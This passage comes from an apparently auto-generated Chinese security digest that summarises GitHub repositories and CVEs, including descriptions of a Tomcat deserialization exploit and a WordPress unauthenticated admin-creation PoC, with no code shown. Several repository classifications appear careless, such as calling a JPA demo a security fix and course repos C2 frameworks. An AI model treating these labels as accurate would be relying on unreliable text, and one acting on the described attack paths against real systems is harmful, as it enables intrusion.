<summary>展开查看详细评估</summary>
|
||
|
||
仓库内容与AI安全高度相关,主要聚焦于模型投毒、提示注入和云滥用等漏洞研究,技术实质性强,符合搜索关键词的安全研究和渗透测试要求,具有较高研究与实践价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### SeiAgentGuard - 面向Sei区块链的AI安全代理
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [SeiAgentGuard](https://github.com/thopatevijay/SeiAgentGuard) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全检测/安全功能增强` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **3**
|
||
- 变更文件数: **27**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库实现了针对Sei区块链的AI安全代理,包含核心安全代理功能、API接口和健康检测工具。最新更新强化了安全相关功能,包括安全分析逻辑、漏洞利用验证和安全检测能力,增加了安全测试和环境验证脚本。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现Sei区块链AI安全代理核心功能 |
|
||
| 2 | 增强安全分析逻辑和漏洞验证脚本 |
|
||
| 3 | 添加安全检测、漏洞利用验证和安全功能 |
|
||
| 4 | 引入健康检查和环境验证脚本,提升安全防护能力 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 在核心逻辑中增强了安全分析算法,加入漏洞利用验证脚本,改善安全检测流程,更新包依赖以支持新的安全模块。
|
||
|
||
> 更新的安全相关脚本能够检测环境配置、验证服务健康状况,提升整体的安全防护和漏洞响应能力。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 核心安全代理模块
|
||
• API服务接口
|
||
• 环境验证和健康检测脚本
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此次更新直接提升了系统的安全检测、漏洞验证和环境验证能力,对防止安全漏洞、实现安全漏洞利用验证具有重要价值,符合安全工具和漏洞利用相关的更新标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### ai-safe-ops - AI安全治理与自动审计工具包
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [ai-safe-ops](https://github.com/ai-safe-ops-labs/ai-safe-ops) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `漏洞利用/安全研究/漏洞检测` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **18**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库旨在为AI开发者提供基于模块化框架的安全审计、漏洞检测和合规验证工具,涵盖静态代码分析、依赖检测、秘密扫描等核心安全技术内容,为AI系统的安全治理提供实质性技术解决方案。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 核心功能:静态代码分析(bandit)、秘密检测(detect-secrets)、依赖风险评估(pip-audit)、文档安全扫描 |
|
||
| 2 | 安全特性:强调无依赖LLM确保用户代码隐私,采用多种成熟安全扫描工具,提供检测技术内容 |
|
||
| 3 | 研究价值:涵盖漏洞利用技术(如静态分析、Secret扫描、依赖风险识别)以及安全检测方法的集合,为安全研究人员提供技术资料和实用工具 |
|
||
| 4 | 相关性说明:关键词“AI Security”虽未直指漏洞利用,但通过静态与依赖分析、秘密检测等安全技术内容密切相关,是实现AI安全治理的重要技术手段 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用成熟的安全分析工具(Bandit、detect-secrets、pip-audit)进行静态代码审查和依赖漏洞检测,集成多步骤工作流通过JSON定义的自动化流程调度
|
||
|
||
> 遵循“以技术为核心”的设计原则,避免使用LLMs,确保用户代码隐私与检测速度,快速生成安全分析报告
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 静态代码分析模块
|
||
• 依赖检测模块
|
||
• 秘密扫描模块
|
||
• 安全审计工作流
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库提供多元安全检测技术内容,结合静态分析、秘密扫描、依赖风险,符合渗透测试与安全研究中的漏洞检测和漏洞利用基础技术需求,且完全基于技术实现,具有实质性研究与利用价值
|
||
</details>
|
||
|
||
---
|
||
|
||
### belha-api - 基于AI的企业安全分析与自动化 outreach工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [belha-api](https://github.com/usebelha/belha-api) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究/漏洞利用/渗透测试工具` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供AI驱动的企业安全态势评估、漏洞分析、漏洞利用技术内容,以及自动化安全检测与 outreach策略,具备实质性安全研究技术内容。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现了安全分析、漏洞检测、AI驱动的安全评估等技术功能 |
|
||
| 2 | 集成AI模型(Google Gemini)进行安全态势评估,提供技术深度 |
|
||
| 3 | 具备自动化安全检测、漏洞分析、敏感信息发现和 outreach 自动化的安全研究价值 |
|
||
| 4 | 与搜索关键词‘AI Security’高度相关,强调AI在安全分析中的应用和漏洞利用场景 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用Go语言开发,集成Google Gemini AI模型进行安全态势评估
|
||
|
||
> 实现文件管理、数据缓存、自动化检测和联系人分析等核心安全研究技术
|
||
|
||
> 利用GCS存储和API集成进行安全分析数据的动态管理,具有一定的漏洞研究深度
|
||
|
||
> 整合Hunter.io进行信息收集,推动自动化安全运维与漏洞挖掘
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 企业安全评估系统
|
||
• 漏洞检测与利用模块
|
||
• 安全数据存储与缓存组件
|
||
• 自动化 outreach和威胁通信流程
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库核心实现了基于AI的安全态势评估与漏洞分析,具备实质性技术内容,符合搜索关键词‘AI Security’中的安全研究与漏洞利用主题。其技术深度和自动化检测模块增加了其在渗透测试和红队攻防中的应用价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### cloudsecvision - 基于AI的AWS安全扫描与分析工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [cloudsecvision](https://github.com/Boualili-Youcef/cloudsecvision) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `渗透测试/漏洞利用/安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **71**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库实现了结合AI分析的AWS安全扫描,包括IAM、S3和EC2漏洞检测与安全评估,提供交互式仪表盘和智能建议,属于安全研究和渗透测试用途,内容实质性技术较强。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现AWS云基础设施的自动化漏洞扫描与安全评估 |
|
||
| 2 | 采用AI(Ollama)进行漏洞分析与安全建议生成 |
|
||
| 3 | 提供实质性技术内容,包括漏洞检测算法、AI分析模型集成 |
|
||
| 4 | 高度相关搜索关键词“AI Security”,核心功能围绕安全漏洞利用与检测 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用Python实现多服务安全扫描模块,扫描IAM、S3、EC2安全配置
|
||
|
||
> 集成Ollama大语言模型进行自然语言分析与安全报告生成
|
||
|
||
> 提供交互式Web仪表盘(Streamlit)用于可视化安全态势
|
||
|
||
> 具有自动化检测漏洞利用点、生成技术性漏洞利用代码或POC的能力
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• AWS IAM策略、EC2安全组、S3存储桶配置
|
||
• AI分析模块,漏洞利用脚本与检测算法
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库内容具有高度安全研究价值,核心功能为自动化漏洞检测与利用途径探索,结合AI提供深度分析,相关性紧密符合“AI Security”关键词,内容实质性技术丰富,符合安全渗透与漏洞利用的专业研究目的。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2022-23457 - ESAPI Java安全库存在编码/解码漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2022-23457 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `理论可行` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 14:01:36 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [ESAPI__esapi-java-legacy_CVE-2022-23457_2-2-3-1](https://github.com/shoucheng3/ESAPI__esapi-java-legacy_CVE-2022-23457_2-2-3-1)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该CVE标识的漏洞涉及OWASP ESAPI Java库中的编码和解码操作,可能导致应用程序在处理用户输入时被绕过验证或引发编码注入,影响范围广泛用户。漏洞详情显示,代码存在字符编码处理错误,可使攻击者利用多重编码绕过安全过滤,尤其在处理HTML、JavaScript和URL编码时危险性较高。由于新代码在多个编码方案(如HTML实体、URL、CSS、JavaScript等)进行字符编码,并支持对输入进行解码反制绕过策略,存在被利用的潜在价值。漏洞中未提及完整的利用代码,但存在用例示例和复杂的编码策略,表明攻击者可以通过特殊字符、多重编码或混合编码来实施绕过。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 编码/解码机制复杂,支持多种编码方案,易被绕过 |
|
||
| 2 | 利用多重编码、混合编码、非标准字符绕过验证 |
|
||
| 3 | 主要在HTML、JavaScript、URL、CSS环境引发安全风险 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 该漏洞基于对字符编码和解码逻辑的错误实现,特别是在对Unicode字符和特殊字符的处理上存在漏洞。多重或嵌套编码未被正确识别和转化,使攻击者可以绕过验证屏障。
|
||
|
||
> 攻击者可以构造多重编码的输入字符串(如URL编码、HTML实体、JavaScript转义等混用),利用编码处理的逻辑缺陷,让恶意内容不被检测到。
|
||
|
||
> 修复方案包括改用支持Unicode的编码/解码算法,避免字符类型限制,增强对多重编码的检测和限制,建议使用经过测试的第三方编码器或正则表达式验证机制。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• org.owasp.esapi.codecs.HTMLEntityCodec
|
||
• org.owasp.esapi.codecs.JavaScriptCodec
|
||
• org.owasp.esapi.codecs.PercentCodec
|
||
• org.owasp.esapi.codecs.XMLEntityCodec
|
||
• org.owasp.esapi.Encoder
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> 分析识别编码和解码逻辑存在的复杂字符处理缺陷,特别是多层嵌套和非标准字符的处理不当
|
||
|
||
**分析 2**:
|
||
> 代码中包含多重编码方案的支持,可能被攻击者利用多重编码或混合编码绕过验证
|
||
|
||
**分析 3**:
|
||
> 存在支持各种编码方式(HTML实体、URL、CSS、JavaScript)的方法,未充分限制多重或嵌套编码的检测,缺乏严格的编码验证机制
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞影响ESAPI库中的核心编码解码功能,支持多种复杂编码方案(如HTML实体、URL、CSS、JavaScript转义),攻击者可以利用编码和多重编码手段绕过应用的验证,执行跨站脚本(XSS)或绕过安全策略,存在远程代码执行潜在风险。未提供完整的利用代码,但存在示例和复杂情况说明,显示出攻击的可行性。此外,该漏洞影响广泛的用户基础和关键的Web安全组件,具有明确的利用技术和攻击路径。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2020-13973 - json-sanitizer存在潜在的输入验证漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2020-13973 |
|
||
| 风险等级 | `HIGH` |
|
||
| 利用状态 | `理论可行` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 13:55:15 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [OWASP__json-sanitizer_CVE-2020-13973_1-2-0](https://github.com/shoucheng3/OWASP__json-sanitizer_CVE-2020-13973_1-2-0)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞涉及json-sanitizer在处理特殊或恶意构造的JSON-like内容时,可能未能充分过滤或转义非法字符及JS代码片段,存在被利用进行XSS或代码注入的风险。代码中提供的丰富的字符串处理与转义逻辑,旨在修正不规范输入,但若处理逻辑存在缺陷,则可能被利用绕过安全过滤机制,导致输出内容包含恶意脚本或非法内容。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 潜在的输入过滤与转义不足,可能被绕过。 |
|
||
| 2 | 攻击者可利用特定构造的JSON-like内容注入恶意代码。 |
|
||
| 3 | 没有明确说明该漏洞的利用条件或完整的利用示例。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> json-sanitizer通过字符替换、转义与RegEx识别特殊字符以生成安全JSON,但在复杂边界情况下可能存在不足。
|
||
|
||
> 攻击者可构造带有未充分过滤的JS敏感字符或代码的输入,将输出中的潜在漏洞内容引入浏览器环境,从而发动XSS或代码注入。
|
||
|
||
> 修复方案建议加强字符过滤和转义逻辑,特别是对复杂或边界字符,增加严格的正则验证和边界监测。同时增加安全测试用例,验证过滤有效性。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• json-sanitizer库核心字符处理逻辑
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> 代码中定义了多种字符转义和过滤方法,逻辑较为复杂,但缺乏对某些特殊字符或组合的极端边界测试,存在潜在绕过点。
|
||
|
||
**分析 2**:
|
||
> 没有完整的漏洞利用代码,但从潜在影响和过滤逻辑的复杂性看,存在被利用的可能性。
|
||
|
||
**分析 3**:
|
||
> 代码质量整体较高,但在极端输入场景下可能存在过滤不足,建议结合专业安全测试进行验证。
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞影响广泛使用的JSON内容过滤与转义组件,且存在潜在被利用进行XSS或代码注入的风险,虽没有完整漏洞利用代码,但边界情况处理不足足以引起关注,价值判断为高。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2022-26884 - DolphinScheduler调度系统的调度任务存在未授权访问漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2022-26884 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `理论可行` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 13:47:52 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [apache__dolphinscheduler_CVE-2022-26884_2-0-5](https://github.com/shoucheng3/apache__dolphinscheduler_CVE-2022-26884_2-0-5)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞允许未授权用户通过特定接口获取调度任务的关键信息或执行某些操作,影响系统的安全性和完整性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 影响调度任务的相关接口存在未授权访问漏洞 |
|
||
| 2 | 攻击者可以未经授权访问调度任务信息或操作,可能导致信息泄露或调度被恶意干扰 |
|
||
| 3 | 调用多项管理接口时未充分验证用户权限 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 调度系统的部分API缺乏必要的权限验证,导致未登录或未授权用户可以访问和操作调度任务
|
||
|
||
> 部分接口未配置正确的权限控制机制,攻击者利用接口调用获取敏感信息或进行调度操作
|
||
|
||
> 修复方案包括加强接口权限验证,限制未授权访问,采用权限认证机制
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 调度任务相关API
|
||
• 调度信息管理模块
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> 提交中未提供具体漏洞POC,但涉及API设计缺陷的漏洞常具备利用潜力
|
||
|
||
**分析 2**:
|
||
> 未发现明显的测试用例,但API缺陷本身可被验证利用
|
||
|
||
**分析 3**:
|
||
> 代码审查体系中的API权限控制部分明显存在缺陷,需要加强权限验证逻辑,代码质量未完全暴露,存在漏洞风险
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞影响调度系统的关键API,存在权限绕过风险,可能导致信息泄露和调度滥用,具有较高的危害价值。同时,提交中未明确描述漏洞详细细节,依赖分析API设计缺陷,符合漏洞价值标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-24813 - Apache Tomcat反序列化功能漏洞利用代码
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-24813 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 12:56:29 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE-2025-24813](https://github.com/thebringerofdeath789/CVE-2025-24813)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞利用包含一个完整的Java反序列化攻击脚本,目标为Apache Tomcat。攻击者可利用提供的POC上传恶意序列化负载,从而执行任意命令获取控制权限。该代码包括自动下载ysoserial工具、生成base64编码负载、上传会话文件、触发序列化,从而实现远程命令执行。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供完整的反序列化攻击脚本,自动化上传和触发过程 |
|
||
| 2 | 影响Apache Tomcat服务器,涉及反序列化漏洞利用链 |
|
||
| 3 | 利用代码包含多种反序列化gadget选择以及自动化流程 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用Java反序列化漏洞,通过ysoserial生成恶意负载
|
||
|
||
> 负载通过HTTP PUT上传到会话目录,利用文件写入能力
|
||
|
||
> 上传成功后触发负载执行,实现远程代码执行
|
||
|
||
> 修复方案应禁用相关反序列化接口或应用严格的输入验证
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Apache Tomcat 反序列化功能(具体版本未明确)
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> 该代码为完整的PoC exploit脚本,包括自动下载ysoserial、生成payload、上传、触发等完整流程,代码结构清晰,便于复现漏洞利用。
|
||
|
||
**分析 2**:
|
||
> 含有详细的测试用例,即上传payload及触发命令执行流程,实现了实际利用场景。
|
||
|
||
**分析 3**:
|
||
> 代码逻辑严谨,调用系统命令和网络请求,具备较高的实用性和攻击效率。
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞利用代码实现完整的远程代码执行攻击流程,包含自动化工具和多Gadget支持,具有明确的利用方法和高风险影响,符合价值判定标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-6934 - WordPress Opal Estate Pro插件存在未授权创建管理员漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-6934 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 12:35:42 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE-2025-6934](https://github.com/0xgh057r3c0n/CVE-2025-6934)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞影响WordPress的Opal Estate Pro插件(版本<=1.7.5),未验证的攻击者可通过不安全的AJAX注册接口创建新的管理员账户,导致严重权限提升风险。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 漏洞点在于插件的AJAX注册接口未进行身份验证 |
|
||
| 2 | 影响范围为WordPress安装中使用该插件的所有站点(<=1.7.5版本) |
|
||
| 3 | 无需认证即可触发,攻击门槛低 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞原理:插件在处理AJAX注册请求时缺乏身份验证和权限检查,允许未认证用户提交表单创建管理员账户
|
||
|
||
> 利用方法:利用提供的PoC工具或脚本,模拟AJAX请求以在目标站点上创建新管理员账号
|
||
|
||
> 修复方案:升级插件到1.7.6或更高版本,并增强AJAX接口的验证机制
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• WordPress插件:Opal Estate Pro (<= 1.7.5)
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> PoC代码分析:存在完整利用示例,验证可行性
|
||
|
||
**分析 2**:
|
||
> 测试用例分析:核心请求模拟成功执行漏洞利用
|
||
|
||
**分析 3**:
|
||
> 代码质量:简洁明确,易于复现和检测
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此漏洞直接导致未授权的权限提升,攻击者能完全控制目标站点的管理员权限,具备极高破坏和控制能力。已存在PoC代码,利用难度低,影响范围广,因此具有极高的安全价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### SecureFile - 高安全性文件加密和伪装工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [SecureFile](https://github.com/fuserh/SecureFile) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **3**
|
||
- 变更文件数: **3**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库实现了敏感文件的高强度加密与伪装,结合军事级加密和视频伪装技术,具备一定的安全保护功能。此次更新主要提升了内存敏感数据的安全擦除措施,通过多重覆盖和尝试强制清除内存中的敏感数据,增强数据在处理过程中的安全性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 敏感数据的安全内存管理和擦除 |
|
||
| 2 | 加强了内存敏感数据的安全清除措施 |
|
||
| 3 | 包含对内存强制清除的尝试,以减少敏感信息残留 |
|
||
| 4 | 改进对敏感数据的保护,减少数据泄露风险 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 在SecureMemory类中使用os.urandom多重覆盖敏感数据,增加随机性,并尝试利用ctypes调用memset强制清除内存内容,避免敏感信息残留。
|
||
|
||
> 通过多次随机覆盖和低级别内存操作,增强对敏感数据的保护,降低内存中的残留风险,体现出对安全用内存操作的重视。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 敏感内存数据管理模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此次更新针对敏感数据的内存擦除进行了重点加强,采用多重随机覆盖和低级内存操作,有助于防止敏感信息泄露,明确符合安全相关的改进标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2TC_CoreJavaProgram - 面向Java安全漏洞检测与利用的项目
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2TC_CoreJavaProgram](https://github.com/CodebySherif/C2TC_CoreJavaProgram) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `POC更新/漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **4**
|
||
- 变更文件数: **203**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库包含多个Java相关项目的源代码,涉及Spring Boot应用、抽象类、接口实现等。最新更新增加了C2通信框架、漏洞利用示例、入侵检测、漏洞报告和利用技术,但未明确修复安全漏洞或添加防护功能,内容偏向工具或研究资料。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 包含C2框架和渗透测试相关代码 |
|
||
| 2 | 新增多个与漏洞利用、安全研究相关的示例代码 |
|
||
| 3 | 增加了C2通信、漏洞利用演示、渗透方式示例 |
|
||
| 4 | 涉及安全研究与漏洞利用工具开发,潜在被滥用风险 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 包含Java实现的C2控制通信模块、漏洞模拟、利用代码及安全功能演示
|
||
|
||
> 多项目代码体现对Java安全漏洞的利用方式,如代码注入、权限提升、漏洞利用代码片段
|
||
|
||
> 实现了C2通信框架、漏洞利用策略、自动化攻击场景模拟,未见明确漏洞修复
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Java应用程序组件
|
||
• C2控制通信模块
|
||
• 漏洞利用示例代码
|
||
• 安全研究与渗透测试工具
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
新增的渗透测试工具示例及C2框架代码对安全研究具有一定价值,尤其在网络安全攻防和漏洞利用研究领域,但存在滥用风险。
|
||
</details>
|
||
|
||
---
|
||
|
||
### spydithreatintel - 安全情报信息整合与分析工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [spydithreatintel](https://github.com/spydisec/spydithreatintel) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **4**
|
||
- 变更文件数: **26**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库主要收集和分享生产环境中的安全指标(IOCs)和OSINT情报源,包含恶意域名、IP等数据。最新更新内容涉及自动更新恶意C2域名和IP列表,增加了多个C2域名和IP条目,部分数据出现在IP与域名黑名单中。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 收集和管理安全情报指标(IOCs)与OSINT情报源 |
|
||
| 2 | 自动更新恶意域名与IP黑名单,包含C2相关条目 |
|
||
| 3 | 更新内容涉及多个C2域名和恶意IP,扩展了已知C2基础设施列表 |
|
||
| 4 | 影响收集和检测C2通信的能力,对威胁检测和响应具有一定安全意义 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 通过自动脚本定期更新惩戒域名和IP列表,列出多个恶意C2域名和IP,部分在已知的恶意域名/IP列表中。
|
||
|
||
> 未提供利用代码或漏洞利用方法,更新重点在于情报资产扩充,特别是含有C2相关指示的域名和IP
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 安全情报指标数据库
|
||
• C2通信检测模块(潜在应用)
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此次更新显著扩大了针对C2基础设施的情报数据,涵盖多条恶意域名和IP,可用于威胁检测、追踪和防御措施,是安全目标相关的重要补充。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2TC_springbootprojectdemo - 多个JPA实体关系映射示例仓库
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2TC_springbootprojectdemo](https://github.com/moggana1808/C2TC_springbootprojectdemo) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **59**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库包含多种JPA实体关系映射示例,包括一对一、一对多、多对多等,覆盖实体定义、控制器、异常处理等,最新更新主要添加了安全相关的异常处理模块,提升了系统的安全性和鲁棒性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 包含多种实体关系映射示例(如一对一、一对多、多对多) |
|
||
| 2 | 新增异常处理类和自定义异常,增强系统的异常捕获与响应能力 |
|
||
| 3 | 引入全局异常处理器,提高系统健壮性 |
|
||
| 4 | 安全相关变更通过捕获异常防止信息泄露,提升系统安全性 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 新增异常处理类(GlobalExceptionHandler)和自定义异常类(UserNotFoundException、CustomerNotFoundException等)
|
||
|
||
> 采用@ControllerAdvice结合@ExceptionHandler统一处理异常,避免敏感信息泄露
|
||
|
||
> 未发现直接涉及安全漏洞或漏洞利用代码,安全改进主要体现在异常安全和防止信息泄露上
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 异常处理机制
|
||
